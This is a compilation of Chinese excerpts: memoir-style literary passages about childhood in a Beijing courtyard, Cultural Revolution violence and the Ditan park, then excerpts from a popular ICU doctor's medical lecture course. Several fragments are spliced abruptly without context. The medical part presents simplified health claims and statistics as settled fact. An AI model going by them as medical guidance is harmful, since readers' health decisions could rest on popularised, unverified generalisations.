　　海棠树下，西番莲开得正旺，草茉莉和夜来香无奈地等候着傍晚。蝉声很远，近处是“嗡嗡”的蜂鸣，是盛夏的热浪，是珊珊的喘息。她一会儿跳进阳光，白色的衣裙灿烂耀眼，一会儿跳进树影，纷乱的图案在她身上漂移、游动；舞步轻盈，丝毫也不惊动海棠树上入睡的蜻蜓。我知道她高兴我看她跳，跳到满意时她瞥我一眼，说：“去——”既高兴我看她，又说“去”，女孩子真是搞不清楚。

　　我仰头去看树上的蜻蜓，一只又一只，翅膀微垂，睡态安详。其中一只通体乌黑，是难得的“老膏药”。我正想着怎么去捉它，珊珊喘吁吁地冲我喊：“嘿快，快看哪你，就要到了。”

　　她开始旋转，旋转进明亮，又旋转得满身树影纷乱，闭上眼睛仿佛享受，或者期待，她知道接下来的动作会赢得喝彩。她转得越来越快，连衣裙像降落伞一样张开，飞旋飘舞，紧跟着一蹲，裙裾铺开在海棠树下，圆圆的一大片雪白，一大片闪烁的图案。

　　“嘿，芭蕾舞！”我说。

　　“笨死你，”她说，“这是芭蕾舞呀？”

　　无论如何我相信这就是芭蕾舞，而且我听得出珊珊其实喜欢我这样说。在一个九岁的男孩看来，芭蕾并非一个舞种，芭蕾就是这样一种动作——旋转，旋转，不停地旋转，让裙子飞起来。那年我可能九岁。如果我九岁，珊珊就是十岁。

　　又是“吱呀”一声，小恒家的屋门开了一条缝，小恒蹑手蹑脚地钻出来。

　　“有蜻蜓吗？”

　　“多着呢！”

　　小恒屁也不懂，光知道蜻蜓，他甚至都没注意珊珊在干吗。

　　“都什么呀？”小恒一味地往树上看。

　　“至少有一只‘老膏药’！”

　　“是吗？”

　　小恒又钻回屋里，出来时得意地举着一小团面筋。于是我们就去捉蜻蜓了。一根竹竿，顶端放上那团面筋，竹竿慢慢升上去，对准“老膏药”，接近它时要快要准，要一下子把它粘住。然而可惜，“老膏药”聪明透顶，珊珊跳得如火如荼它且不醒，我的手稍稍一抖它就知道，立刻飞得无影无踪。珊珊幸灾乐祸。珊珊让我们滚开。

　　“要不看你就滚一边儿去，到时候我还得上台哪，是正式演出。”

　　她说的是“你”，不是“你们”，这话听来怎么让我飘飘然有些欣慰呢？不过我们不走，这地方又不单是你家的！那天也怪，老海棠树上的蜻蜓特别多。珊珊只好自己走开。珊珊到大门洞里去跳，把院门关上。我偶尔朝那儿望一眼，门洞里幽幽暗暗，看不清珊珊高兴还是生气，惟一缕无声的雪白飘上飘下，忽东忽西。

　　那个中午出奇的安静。我和小恒全神贯注于树上的蜻蜓。

　　忽然，一声尖叫，随即我闻到了一股什么东西烧焦了的味。只见珊珊飞似的往家里跑，然后是她的哭声。我跟进去。床上一块黑色的烙铁印，冒着烟。院子里的人都醒了，都跑来看。掀开床单，褥子也糊了，揭开褥子，毡子也黑了。有人赶紧舀一碗水泼在床上。

　　“熨什么呢你呀？”

　　“裙子，我的连……连衣裙都绉了，”珊珊抽咽着说。

　　“咳，熨完就忘了把烙铁拿开了，是不是？”

　　珊珊点头，眼巴巴地望着众人，期待或可有什么解救的办法。

　　“没事儿你可熨它干吗？你还不会呀！”

　　“一开学我……我就得演出了。”

　　“不行了，褥子也许还凑合用，这床单算是完了。”

　　珊珊立刻嚎啕。

　　“别哭了，哭也没用了。”

　　“不怕，回来跟你阿姨说清楚，先给她认个错儿。”

　　“不哭了珊珊，不哭了，等你阿姨回来，我们大伙儿帮你说说（情）。”

　　可是谁都明白，珊珊是躲不过一顿好打了。

　　这是一个传统得不能再传统的故事。“阿姨”者，珊珊的继母。

　　珊珊才到这个家一年多。此前好久，就有个又高又肥的秃顶男人总来缠着那个“阿姨”。说缠着，是因为总听见他们在吵架，一宿一宿地吵，吵得院子里的人都睡不好觉。可是，吵着吵着忽然又听说他们要结婚了。这男人就是珊珊的父亲。这男人，听说还是个什么长。这男人我不说他胖而说他肥，是因他实在并不太胖，但在夏夜，他摆两条赤腿在树下乘凉，粉白的肉颤呀颤的，小恒说“就像肉冻”，你自然会想起肥。据说珊珊一年多前离开的，也是继母。离开继母的家，珊珊本来高兴，谁料又来到一个继母的家。我问奶奶：“她亲妈呢？”奶奶说：“小孩儿，甭打听。”“她亲妈死了吗？”“谁说？”“那她干吗不去找她亲妈？”“你可不许去问珊珊，听见没？”“怎么了？”“要问，我打你。”我嬉皮笑脸，知道奶奶不会打。“你要是问，珊珊可就又得挨打了。”这一说管用，我想那可真是不能问了。我想珊珊的亲妈一定是死了，不然她干吗不来找珊珊呢？

　　草茉莉开了。夜来香也开了。满院子香风阵阵。下班的人陆续地回来了。炝锅声、炒菜声就像传染，一家挨一家地整个院子都热闹起来。这时有人想起了珊珊。“珊珊呢？”珊珊家烟火未动，门上一把锁。“也不添火也不做饭，这孩子哪儿去了？”“坏了，八成是怕挨打，跑了。”“跑了？她能上哪儿去呢？”“她跟谁说过什么没有？”众人议论纷纷。我看他们既有担心，又有一丝快意——给那个所谓“阿姨”点颜色看，让那个亲爹也上点心吧！

　　奶奶跑回来问我：“珊珊上哪儿了你知道不？”

　　“我看她是找她亲妈去了。”

　　众人都来围着我问：“她跟你说了？”“她是这么跟你说的吗？”“她上哪儿去找她亲妈，她说了吗？”

　　“要是我，我就去找我亲妈。”

　　奶奶喊：“别瞎说！你倒是知不知道她上哪儿了？”

　　我摇头。

　　小恒说看见她买菜去了。

　　“你怎么知道她是买菜去了？”

　　“她天天都去买菜。”

　　我说：“你屁都不懂！”

　　众人纷纷叹气，又纷纷到院门外去张望，到菜站去问，在附近的胡同里喊。

　　我也一条胡同一条胡同地去喊珊珊。走过老庙，走过小树林，走过轰轰隆隆的建筑工地，走过护城河，到了城墙边。没有珊珊，没有她的影子。我爬上城墙，喊她，我想这一下她总该听见了。但是晚霞淡下去，只有晚风从城墙外吹过来。不过，我心里忽然有了一个想法。

　　我下了城墙往回跑，我相信我这个想法一定不会错。我使劲跑，跑过护城河，跑过工地，跑过树林，跑过老庙，跑过一条又一条胡同，我知道珊珊会上哪儿，我相信没错她肯定在那儿。

　　小学校。对了，她果然在那儿。

　　操场上空空旷旷，操场旁一点雪白。珊珊坐在花坛边，抱着肩，蜷起腿，下巴搁在膝盖上，晚风吹动她的裙裾。

　　“珊珊，”我叫她。

　　珊珊毫无反应。也许她没听见？

　　“珊珊，我猜你就在这儿。”

　　我肯定她听见了。我离她远远地坐下来。

　　四周有了星星点点的灯光。蝉鸣却是更加地热烈。

　　我说：“珊珊，回家吧。”

　　可我还是不敢走近她。我看这时候谁也不敢走近她。就连她的“阿姨”也不敢。就连她亲爹也不敢。我看只有她的亲妈能走近她。

　　“珊珊，大伙儿都在找你哪。”

　　在我的印象里，珊珊站起来，走到操场中央，摆一个姿势，翩翩起舞。

　　四周已是万家灯火。四周的嘈杂围绕着操场上的寂静、空旷，还有昏暗，惟一缕白裙鲜明，忽东忽西，飞旋、飘舞……

　　“珊珊回去吧。”“珊珊你跳得够好了。”“离开学还有好几天哪，珊珊你就先回去吧。”我心里这样说着，但是我不敢打断她。

　　月亮爬上来，照耀着白色的珊珊，照耀她不停歇的舞步；月光下的操场如同一个巨大的舞台。在我的愿望里，也许，珊珊你就这么尽情尽意地跳吧，别回去，永远也不回去，但你要跳得开心些，别这么伤感，别这么忧愁，也别害怕。你用不着害怕呀珊珊，因为，因为再过几天你就要上台去表演这个节目了，是正式的……

　　但是结尾，是这个故事最为悲惨的地方：那夜珊珊回到家，仍没能躲过一顿暴打。而她不能不回去，不能不回到那个继母的家。因为她无处可去。

　　因而在我永远的童年里，那个名叫珊珊的女孩一直都在跳舞。那件雪白的连衣裙已经熨好了，雪白的珊珊所以能够飘转进明亮，飘转进幽暗，飘转进遍地树影或是满天星光……这一段童年似乎永远都不会长大，因为不管何年何月，这世上总是有着无处可去的童年。

　　母亲还告诉我，小恒一家也走了。

　　“小恒？怎么回事？”

　　“从他家搜出了几大箱子绸缎，还有银元。”

　　“怎么会？”

　　“完全是偶然。红卫兵本来是冲着小红的舅姥爷去的，然后各家看看，就在小恒家翻出了那些东西。”

　　几十匹绫罗绸缎，色彩缤纷华贵，铺散开，铺得满院子都是，一地金光灿烂。

　　小恒妈跪在院子中央，面如土灰。

　　银元一把一把地抛起来，落在柔软的绸缎上，沉甸甸的但没有声音。

　　接着是皮带抽打在皮肉上的震响，先还零碎，渐渐地密集。

　　老海棠树的树阴下，小恒妈两眼呆滞一声不吭，皮带仿佛抽打着木桩。

　　红卫兵愤怒地斥骂。

　　斥骂声惊动了那一条街。

　　邻居们早都出来，静静地站在四周的台阶下。

　　街上的人吵吵嚷嚷地涌进院门，然后也都静静地站在四周的台阶下。

　　有人轻声问：“谁呀？”

　　没人回答。

　　“小恒妈，是吗？”

　　没人理睬。

　　小恒妈哀恐的目光偶尔向人群中搜寻一回，没人知道她在找什么。

　　没人注意到小恒在哪儿。

　　没人还能顾及到小恒。

　　是小恒自己出来的。他从人群里钻出来。

　　小恒满面泪痕，走到他妈跟前，接过红卫兵的皮带，“啪！啪啪！啪啪啪……”那声音惊天动地。

　　连那几个红卫兵都惊呆了。在场的人后退一步，吸一口凉气。

　　小恒妈一如木桩，闭上双眼，倒似放心了的样子。

　　“啪！啪啪！啪啪啪……”

　　没人去制止。没人敢动一下。

　　直到小恒手里的皮带掉落在地，掉落在波浪似的绸缎上。

　　小恒一动不动地站着。小恒妈一动不动地跪着。

　　老海棠树上，蜻蜓找到了午间的安歇地。一只蝴蝶在院中飞舞。蝉歌如潮。

　　我见到孙姨的时候她的儿子刚刚去世。孙姨有三个孩子，一儿两女。小女儿早在她劳改期间就已去世。儿子和小女儿得的是一样的病，病的名称我曾经知道，现在忘了，总之在当时是一种不治之症。残酷的是，这种病总是在人二十岁上下发作。她的一儿一女都是活蹦乱跳地长到二十岁左右，忽然病倒，虽四处寻医问药，但终告不治。这样的母亲可怎么当啊！这样的孤单的母亲可是怎么熬过来的呀！这样的在外面受着歧视、回到家里又眼睁睁地看着一对儿女先后离去的母亲，她是靠着什么活下来的呢？靠她独自的歌声？靠那独自的歌声中的怎样的信念啊！我真的不敢想像，到现在也不敢问。要知道，那时候，没有谁能预见到“右派”终有一天能被平反啊。

　　如今，我经常在想起我的母亲的时候想起孙姨。我想起我的母亲在地坛里寻找我，不由得就想起孙姨，那时她在哪儿并且寻找着什么呢？我现在也已年过半百，才知道，这个年纪的人，心中最深切的祈盼就是家人的平安。于是我越来越深地感受到了我的母亲当年的苦难，从而越来越多地想到孙姨的当年，她的苦难惟加倍地深重。

　　多年以后，小姑娘早已成年，我把我写的这个故事给她看。看罢，她沉吟许久，竟出人意料地说：好像不是这样——

　　“好像不这么简单。好像有什么地方，不大对。”

　　“哪儿？”我问，“什么地方不对？”

　　她说是结尾。“我给他们糖，不是想让他们不走，不是想让他们再来，而是想让他们快走吧。最后再给你们每人两块，我是想让他们别再来了。”

　　“为什么？你不是害怕没人跟你玩吗？”

　　“噢，是呀……”

　　“那，为什么又不想让他们再来？”

　　“噢，太久了真是太久了，我自己都有点儿忘了。”

　　她慢慢地踱步，慢慢地追忆：“因为，他们不走，他们就还会要。他们要是再来，我想他们一定还会要。可罐子里的糖，已经少了很多。”

　　“你是害怕妈妈发现？”

　　“不，我可能倒是希望她发现。她没发现，我心里反而难过。”

　　“最后呢，她发现了吗？”

　　“没有，她一直都没发现。”

　　“照理说她应该不难发现啊？”

　　“是呀。不过也许，她早就发现了。也许她是故意不发现的。”

　　B老师要求我们“深入基层”，去各中队听取群众意见。于是乎，学习委员、劳动委员、文体委员、卫生委员，以及我这个宣传委员，一干人马分头行动。但群众的意见通常一致：没什么意见。

　　不过此庄子与彼庄子毫无牵连，彼庄子的“子”读重音，此庄子的“子”发轻声。此庄子大名六庄。据说他爹善麻将，生他时牌局正酣，这夜他爹手气好，一口气已连坐五庄，此时有人来报：“道喜啦，带把儿的，起个名吧。”他爹摸起一张牌，在鼻前闻闻，说一声：“好，要的就是你！”话音未落把牌翻开，自摸和！六庄因而得名。

　　在《我与地坛》里有这样一段话：

　　要是有些事我没说，地坛，你别以为是我忘了，我什么也没忘，但是有些事只适合收藏。不能说，也不能想，却又不能忘。它们不能变成语言，它们无法变成语言，一旦变成语言就不再是它们了。它们是一片朦胧的温馨与寂寥，是一片成熟的希望与绝望，它们的领地只有两处：心与坟墓。比如说邮票，有些是用于寄信的，有些仅仅是为了收藏。

　　终于一天，有人听懂了这些话，问我：“这里面像似有个爱情故事，干吗不写下去？”

　　“这就是那个爱情故事的全部。”

　　在那座废弃的古园里你去听吧，到处都是爱情故事。到那座荒芜的祭坛上你去想吧，把自古而今的爱情故事都放到那儿去，就是这一个爱情故事的全部。

　　“这个爱情故事，好像是个悲剧？”

　　“你说的是婚姻，爱情没有悲剧。”

　　对爱者而言，爱情怎么会是悲剧？对春天而言，秋天是它的悲剧吗？

　　“结尾是什么？”

　　“等待。”

　　“之后呢？”

　　“没有之后。”

　　“或者说，等待的结果呢？”

　　“等待就是结果。”

　　“那，不是悲剧吗？”

　　“不，是秋天。”

　　有人跟我说，曾去地坛找我，或看了那一篇《我与地坛》去那儿寻找安静。可一来呢，我搬家搬得离地坛远了，不常去了。二来我偶尔请朋友开车送我去看它，发现它早已面目全非。我想，那就不必再去地坛寻找安静，莫如在安静中寻找地坛。恰如庄生梦蝶，当年我在地坛里挥霍光阴，曾屡屡地有过怀疑：我在地坛吗？还是地坛在我？现在我看虚空中也有一条界线，靠想念去迈过它，只要一迈过它便有清纯之气扑面而来。我已不在地坛，地坛在我。

薄世宁医学通识讲义

摘录

　　你好，欢迎来到《医学通识 50 讲》，我是医生薄世宁。

　　到 2019 年，我就在北京大学第三医院工作整整 18 年了。

　　我在重症医学科，也就是你知道的 ICU。我的工作，就是把所有最危急的病人的生命体征先稳定下来，再送回其他科室继续原发病的治疗。

　　我每天想的都是“怎么让人活下来”。因为只有先活着，然后才有然后。

　　你可能会觉得，都是这么重的病，抢救成功率会不会很低呢？

　　我可以告诉你，我们的抢救成功率在 90%以上。

　　很多人我救过来了，也有很多人我没有救过来。但是每一个人，我都记得。

　　我猜，即便是 90 后也应该对 2003 年的“非典”有印象。那时候，首都北京第一次成了疫区，被世界卫生组织全球示警。

　　因为战斗在抗击“非典”一线，我得了个英雄称号，但我失去了两个并肩战斗的同学。

　　一个牺牲，一个因为感染“非典”后，重度残疾引发抑郁，再也不能当医生了。

　　人类面对灾难，面对病痛，渴望医学，并渴望医学的认知。

　　经过这一切的一切，终于有一天我有了一个妄念，我觉得每个人都应该上一次医学院。

　　不关心人的科学是傲慢，没有科学依据的关心是滥情。如果你不能切实地帮助患者，你的关心，就没有价值。

　　无论对我们的患者，还是对我们的爱人，不都是这样吗？只有能帮助人的爱才有价值，才是真爱。

　　想到这些，我觉得每个人都应该上一次医学院，我应该做点什么，把它变成现实。

　　当然，我知道你很忙，你没有时间。

　　所以，我做了《医学通识 50 讲》这门课，给你一个最省时间的解决方案，让你用两个月的时间，就能了解医学这个博大精深体系的精华和顶级认知。

　　只要一个物种的出生率大于死亡率，那么它就可以延续下去。

　　人类基因的多样性，是对抗所有已知或者未知灾难的终极武器。只要生态还在，人类就还在，除非是发生地球级别的灾难。这些和有没有医学，根本没关系。

　　医学保证不了人类这个物种的延续和生存。那医学的存在到底是为了什么呢？

　　进化淘汰弱者，医学阻碍进化，医学能做的就是别让进化淘汰你。

　　用医生的话说，就是生命第一。这是医学存在的终极理由。

　　生命第一，先保证活着

　　10 年前，我经历过这样一个病例。

　　一位 45 岁的中年男性，患了急性胆囊炎。

　　手术做得非常漂亮，但是术后却出了问题，病人持续昏迷。按理说，正常人停了麻药，快的几分钟就能醒。

　　但是这个病人躺在 ICU 两周，一点儿反应没有。我给他做了所有相关的检查，就是找不到昏迷的原因。

　　这个时候，病人的各项指标开始恶化。而且已经开始出现肺炎，病情越来越严重，这么下去，生存的概率越来越低了。

　　在同学聚会的时候，我说起这个病例，我很郁闷。

　　这个时候，另外一个同学就说，“别想了，赶紧喝，喝完你的病人就醒了”。

　　听了这句话，我拔腿就往医院跑。

　　到医院，我就问病人的妻子，他平时喝不喝酒？

　　他妻子说，喝，而且每天喝一斤。

　　显然病人酗酒这个细节，在之前被我忽视了。

　　我猜想，病人昏迷会不会是一种酒精戒断症状呢？酗酒的人突然断了酒，严重的就有可能昏迷。

　　我突然就有一个想法：为了救命，能不能试着给病人胃管里打点酒呢？

　　别的医生都说，你疯了，酒不是药，这不符合常规。要是打了酒病人还不醒，会给自己惹麻烦，同行也会笑话。

　　但我坚信自己的判断，当时的老主任也支持，他说，“为了救命可以试，有问题我担着”。

　　结果打了酒，当天这个病人就醒了。

　　在几十年前，心脏外科就面临着一个难题，就是没办法把心脏里的血引出来，这样就不可能打开心脏做手术。

　　心脏，就是生命禁区。

　　所以在当时，得了先天性心脏病，很多孩子就只能等死。

　　到了 1954 年，有个美国医生认为，不能眼睁睁看着这些孩子死。

　　这个医生叫李拉海（Lillehei），他是美国明尼苏达大学医学院的心脏外科医生。

　　他设计了一种大胆的手术方案。

　　有多大胆呢？

　　给孩子做手术的时候，让他的父亲躺在边上，把孩子的血管和父亲的血管连在一起。

　　这样，孩子心脏里的血就能引出来，流到父亲体内，用父亲的肺给血液加上氧，再打回孩子的身体。

　　这样医生就可以手术了，孩子就有了生的可能。但是你有没有想过，这么做，手术的风险也从一条命增加到了两条命。

　　李拉海医生不做，没人会说什么。但是一旦失败，父子俩人的命都没了，而且李拉海的职业生涯也会到此结束。

　　如果你是医生，你做还是不做？

　　当然得做嘛！

　　生命第一，先救命。这个原则指导医生必须突破各种不确定，让病人活着。

　　后来，这台手术成功了，父子二人都安全度过了手术。虽然手术之后孩子还是死于肺炎，但是这种手术成了当时唯一能救命的方式。

　　随后一年，李拉海继续用这个方法，给 40 多名年龄不满 2 岁的婴儿做了心脏修补手术，共 32 名成功。

  1. 医学保障不了人类物种的延续。
  2. 医学存在的终极理由是生命第一。
  3. 生命第一包括三个层面的涵义：活着、尊严、意义。

　　孩子每次感冒都能让他的免疫系统变强一次。

　　有一种最新的学说，叫做“卫生假说”。

　　它认为，孩子的成长环境别太干净，应该多接触细菌和宠物，增加和微生物接触的机会。

　　这样的孩子成年以后，免疫系统反而更强大，反而更不容易过敏。

  1. 疾病和感觉没有必然联系。
  2. 疾病和健康之间，没有清晰的界限，疾病和健康是可以共存的。
  3. 疾病也有价值，疾病可以刺激人体免疫，可以成为进化的动力，推动整个物种进化。

　　这个极罕见的病例已经过去 2 年了，但是直到今天，抢救的场景还让我历历在目。

　　2 年前，我接诊了一个 20 岁的男大学生，他服毒自杀，这个毒是秋水仙碱。

　　秋水仙碱本来是一种治疗痛风的药，小剂量可以治病，但是超过剂量很容易中毒，甚至死亡。

　　这个男生吃了 500 毫克，这个剂量超过了致死量的 10 倍。最可怕的是，这种毒根本没有解药。

　　所有人都判断这个病人肯定希望渺茫，但是他太年轻了，所有的医生又都不甘心，都希望能出现奇迹。

　　我们请了各个科的专家会诊，洗胃、心电监护、呼吸机、血浆置换、持续血液净化、升压药物、PICCO……全世界最先进的医疗手段都用上了。

　　但是，病人还是全部器官都衰竭了。

　　他在昏迷之前，在纸上写了三个字“救救我”。不到 72 小时，抢救无效死亡。和教科书上写的一模一样，我们没能创造奇迹。

　　我永远都能回忆起，得知这个男孩死亡的瞬间，父母爆发出的撕心裂肺的哭声。

  1. 人体具有强大的自我修复能力。
  2. 自我修复缺失，医疗也无能为力。
  3. 医疗的作用是为自我修复提供时间，创造条件。

　　我治疗过一个 35 岁羊水栓塞的产妇。

　　她在手术台上心跳停了 9 次，送到 ICU 的时候全部脏器都衰竭了。在接下来的半小时里，心跳又停了 4 次。血压、凝血都垮了，呼吸、肾脏等全部器官都衰竭了。

　　文献记载，羊水栓塞的死亡率在 80%以上，这个病人又在羊水栓塞的基础上合并了多器官衰竭。她的死亡率几乎 100%。

　　这个时候，病人又发生了严重的脑水肿，也就是脑组织肿胀。如果继续进展，结果很快就是脑疝和死亡。

　　我的判断是如果给病人做 CRRT，也就是用一台机器清除体内的毒素，脱水，肯定对脑水肿有利，能救命。

　　但是这个病人严重休克，心跳停了几次，随时有可能再停。

　　而且身上每一个针眼都在渗血，一旦穿刺失败，病人会大出血而死。或者 CRRT 机器运转起来，血压替代循环也可能会垮，病人也会死。

　　我没有百分之百的胜算，我还有一百个理由不去做冒险的操作。

　　但是，这个冒险是她此时唯一的生路。

　　我把产妇的丈夫叫来和他一起分析病情。

　　他只说了一句话，“我们走了很多医院，这么严重的情况没人敢收。所以我完全相信你。我只问你一句话，如果这是你的家人，你做还是不做”？

　　结果是我给病人做了 CRRT。第二天病人就醒了，过了几天，她痊愈出院了。

  1. 医疗过程的实质不是消费。
  2. 治病更像过河，医患关系的本质是联盟。
  3. 联盟双方优势互补，共同决策，利益共享，风险共担。

　　到了今天，咱们已经不用再为了一顿饭或者逃命去和野兽赛跑了。因此，运动量减少也就带来了高血压。

　　四体液学说存在了 2000 多年，在这套理论体系里，最出名的治疗方法就是放血疗法。

　　医学领域大名鼎鼎的《柳叶刀》杂志（The Lancet），名字里的“柳叶刀”最初就是放血用的工具。

　　放血疗法害人不浅。

　　1799 年，也就是乾隆皇帝驾崩的那年，美国开国总统华盛顿也病了，但他得的是喉炎，呼吸困难。

　　你肯定会想，喉炎怎么会致死呢？况且这个病人还贵为总统？

　　就是因为得病后，华盛顿本人对放血疗法深信不疑，他让医生给他放血。

　　据说一天放了 2300 毫升的血，人体一共才有 4000 毫升左右的血。结果，当天晚上华盛顿就去世了。

　　我们通常把人体解剖学、生理学、病理学这三门基础学科的成立，看做是现代医学诞生的标志。

　　现代医学建立了一整套找病因的科学方法。

　　不仅要找发病部位，还要研究发病机制和致病因子，致病因子就是引起疾病的物质实体。

　　比如，阑尾炎的发病部位是阑尾，致病因子是细菌，发病机制就是细菌在阑尾中过度繁殖，引起的炎症反应。

　　找病因的过程，有点像破案。

　　第一步：先找发病部位。

　　这个容易，给患者拍 X 光片发现病变在肺，因此是肺炎。

　　第二步：找病原体。

　　这个过程最难。

　　从病人体内、痰液、血液中，甚至死者的肺内，不断寻找是否有细菌或者病毒。这个找病毒的过程叫做病毒的分离。

　　最后，终于找到了一种冠状病毒。那么这种病毒是致病因子吗？未必。

　　第三步：把嫌疑病毒给动物接种。

　　发现动物感染后，症状和人一模一样。所以致病因子就是它，我们把它称为“非典”病毒。

　　到此也就完成了关键的一步。但是这种病毒是哪儿来的呢？

　　第四步：扩大搜索范围，开始地毯式搜查。

　　最后找到了果子狸，果子狸身上的病毒和这种“非典”病毒最接近。

　　那么果子狸是真凶吗？后来发现，不是。

　　继续寻找，到了 2017 年 12 月份，“幕后黑手”终于找到了。

　　果子狸只是个“背锅”的。

　　病毒真正的来源是一种遥远地区山洞里的蝙蝠，这种蝙蝠体内有一种病毒的基因和“非典”病毒的基因完全匹配。

　　铁证如山，到此真相大白。

　　“非典”的病因不是神鬼惩罚，也不是四体液不平衡，而是蝙蝠身上的一种病毒，通过果子狸传染给人，导致了烈性传染病爆发。

　　从当年“非典”发病到找到确切的病因，这个过程足足用了 15 年。涉及了医学的全部学科，用到了现代医学几乎所有的技术手段。

　　有些病可以找到发病部位，但是找不到确切的发病机理。

　　比如渐冻人。

　　病人四肢、躯干、胸部、腹部的肌肉逐渐无力和萎缩。但是，我们仍然搞不清楚确切的病因。

　　是基因问题？还是某种特殊病毒？不知道。

　　找不到病因，也就没有治疗方法。

　　在以前找不到病因，大家认为抑郁症就是心理问题。

　　但是到了 2018 年 2 月，浙江大学胡海岚教授在《自然》（Nature ）杂志上发表的研究指出，大脑里面有个关键部位——缰核，是引起抑郁症的关键部位。

　　缰核异常放电，就可以抑制多巴胺的分泌，多巴胺被抑制了，人也就抑郁了。

  1. 用神鬼解释病因是蒙昧的神鬼巫术，不是医学。
  2. 四体液学说用哲学思辨解释疾病，也没有带来突破。
  3. 现代医学用科学的技术和方法找病因。它相信任何病都有病理基础，这为解释一切病带来了希望。

　　这节课，我要帮你建立一个重要的认知：病和症状不是一回事。

　　病是出问题了，但是症状是在保护咱们。

　　先从临床上常见的一类急症说起——创伤性大出血。

　　比如车祸、刀伤、枪伤都会引起病人大出血甚至死亡。

　　抢救这类病人，是外科医生的基本功之一。

　　其中战地医生最有经验。为啥呢？

　　因为战场上掉胳膊断腿的、被弹片打穿了身体的、血肉模糊的，所有这些伤员都涉及到一个问题，就是大出血。

　　大出血就会出现低血压，就应该输血。但是，战场上哪有那么多血可输呢？

　　所以，医生们在没做手术之前就只能给病人输大量的液体，把血压提起来，先保命。

　　但是到了 2006 年，美国的一个军医认为这么做不对，会加速伤员死亡。

　　这是为什么呢？

　　因为人在大出血的时候，血压低是一种自我保护，血压低下来出血速度才会慢。

　　如果快速输液，把血压提上来，那么出血反而更快了，结果就是加速了伤员的死亡。

　　这个医生认为，这个时候应该少输液，让血压维持在一个较低的水平，抓紧时间手术，止血才是关键。

　　按照这个做法，发现伤员的死亡率从以前的 65％降到了 17％。相当于每 100 个伤员，多活 48 个。

　　这个救治方案被评为当年度美国陆军十大发明之一，甚至有人把它与人类第一次使用抗生素媲美。

　　这种策略也得到了推广，现在全世界的医生都这么做了。

　　《我们为什么会生病》（Why We Get Sick ）这本书里，讲了一个非常著名的自我保护的例子——人体的限铁机制。也就是限制铁的吸收。

　　得了慢性感染，比如肺结核，很多人会出现缺铁的症状，会出现缺铁性贫血。

　　多数人会想当然地把贫血看成是坏事，但是只有很少人知道 ，这种缺铁现象是人体的一种自我保护。

　　因为微生物要存活需要铁，但是微生物却不能自己合成铁，只能从人体获得。

　　所以，感染的时候人体会减少铁的吸收，故意造成一种缺铁状态，就是为了限制细菌的生长。

　　如果盲目补铁，反而会加重病情。

　　怀孕的女性在即将分娩的前几天，血液里有个凝血指标会快速大幅度上升，有时候甚至升高几十倍，表示血液容易凝固。

　　这还是为了自我保护，防止未来几天生孩子的时候，产道损伤可能发生的大出血。

　　等到生完孩子，安全了，这个指标也会迅速恢复正常。

　　下面我讲两个症状，很可能在以前就被你误认为是病了。

　　第一个是骨刺。

　　在你的印象里，骨刺是不是骨头上长出来一根刺扎在肉里了，所以会疼。这几乎是很多人的共识。

　　但是，大家都错了。

　　骨刺不是病，而是症状。

　　真正的病，是人的骨骼和关节的老化。老化让关节的稳定性变差了，才会引起疼痛。

　　骨刺，其实就是骨质增生。不仅不会引起疼痛，而且长骨刺是为了让人不疼的，是为了增加骨骼表面积，减少局部压强，让关节更稳定。

　　当骨刺长好了，关节稳定了，这时候疼痛反而消失了。

　　第二个症状可能误会更多了，那就是高血压。

　　高血压是怎么来的呢？

　　随着年龄增高、肥胖或者有些说不清的原因，血管会逐步狭窄、硬化、血流阻力增加。

　　这个时候，为了保证器官的正常供血，血压就会增高，这就是原发性高血压。

　　我认为，把原发性高血压定义成一种病，不如把它看成是一种症状更贴切。

　　真正的病是隐藏起来的，引起血流阻力增加的病理改变。

　　高血压只是为了在血流阻力增加的情况下，让器官仍然能够保持一定血流的保护性反应。

　　明白了哪些问题是症，哪些问题是病，接下来的治疗才更有针对性。

　　症状具有双刃剑效应，如果症状严重或者持续存在，就一定会带来后续的损害。

　　所以，只有在体温过高的时候才退热。

　　血压持续增高，必须口服降压药，防止血压持续异常引起后续的心脏、脑血管受损。

　　但是你要记得，治疗高血压更重要的应该从改变生活方式，降低血流的阻力着手，而不能单纯依靠药物降压。

　　别跟症状死磕，而是要找到病根，治病。

  1. 疾病带来的症状，绝大多数时候是提醒、是保护。
  2. 症状和疾病应该区别对待。病要治，症状只能适度干预。

　　很多胃癌的病人早期没有明显症状。

　　以前，医生也不知道胃癌的确切原因。当时的主流观点认为，胃病是由刺激性食物、胃酸过多或者压力过大引起的。

　　但是后来发现，人们即使避免了这些因素，胃癌的发病率依然很高。

　　到了 1981 年，澳大利亚有两位医生马歇尔（Barry J. Marshall）和沃伦（Robin Warren）提出，胃里有种细菌叫做幽门螺旋杆菌，可能和胃病、胃癌有关系。

　　这种细菌你肯定听说过，可能还检查过。这种细菌有多厉害呢？

　　铁块儿进到人的胃里都能被腐蚀掉，所有的细菌遇到强酸都得死，唯独幽门螺旋杆菌例外。它可以在 pH 值低到 2.0 的胃酸里活得逍遥自在。

　　但是，幽门螺旋杆菌可以导致胃病这个观点刚一提出来，就立刻遭到医学界同行的攻击。当时的医生都不相信这么酸的胃里会有细菌。

　　为了证明自己的观点，马歇尔医生竟然喝了一瓶幽门螺旋杆菌，结果他真的得了胃炎。

　　这样一来，越来越多的医生就相信了，确实就有这么一种细菌能在强酸里生存。

　　到了 1994 年，持续的幽门螺旋杆菌感染可以导致胃癌这个观点才得到公认，世界卫生组织把这种细菌列为一级致癌物。

　　一级致癌物指的是有明确证据表明可以致癌的物质，比如雾霾、烟草、槟榔、黄曲霉素等等。

　　到了 2005 年，这两位医生获得了诺贝尔生理学或医学奖。他们的获奖理由是：幽门螺旋杆菌的发现，加深了人们对慢性感染、炎症和癌症之间关系的认识。

　　2014 年在日本京都，全世界的医学专家达成共识：根除幽门螺旋杆菌感染，是预防胃癌的首要手段。

　　结肠癌，从一个良性的腺瘤逐步演变成恶性肿瘤，通常需要 15 年。

　　女性持续的高危型 HPV 感染到发生宫颈癌，一般需要大约十几年（高危型，就是最容易引起宫颈癌的病毒类型）。

　　还有，中国人死亡原因第一的心脑血管病，也是从青壮年开始，血管上就开始出现斑块，经过 20-30 年的进展，血管逐步狭窄。当狭窄超过一定范围，才会出现心脏病或脑血管病的症状。

　　当然，这些时间、数字因人而异。

　　列举这些数字，是为了说明这种无症状的进展是多么漫长。但是，一旦出现症状，多数都是中晚期。

　　刚才咱们提到的幽门螺旋杆菌会持续攻击胃的细胞，引起胃炎，细胞就会死亡。

